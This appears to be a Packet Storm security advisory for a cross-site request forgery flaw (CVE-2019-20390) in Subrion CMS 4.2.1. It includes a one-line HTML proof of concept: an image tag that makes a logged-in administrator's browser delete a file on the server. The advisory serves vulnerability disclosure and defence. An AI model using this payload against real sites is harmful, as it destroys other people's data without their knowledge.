Subrion CMS version 4.2.1 suffers from a cross site request forgery vulnerability.
2fef1f44cc27f54ce1e4d1082a0375f07133b772691853f7d173eee6289f0e6c# Title: Subrion CMS 4.2.1 Cross-Site Request Forgery vulnerability (CSRF)
# Date: 01-12-2019
# Author: Christian Bortone
# Contact: christianbortone@gmail.com
# Vendor Homepage: https://subrion.org/
# Vulnerable Product: Subrion CMS 4.2.1
# CVE : CVE-2019-20390
1. Description:
A Cross-Site Request Forgery (CSRF) vulnerability is discovered in Subrion CMS 4.2.1 which allows a remote attacker to remove files on the server without victim's knowledge by enticing authenticated user to visit attacker page/URL. The application failed to validate CSRF token on the GET request. An attacker can craft an URL (removing the token) and send to the victim.
2. Proof of Concept
<!-- Cancel file test.txt (l1_ci90ZXN0LnR4dA) from directory rm. -->
<html>
<img src="http://localhost/subrion/panel/uploads/read.json?cmd=rm&targets[]=l1_ci90ZXN0LnR4dA" />
</html>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed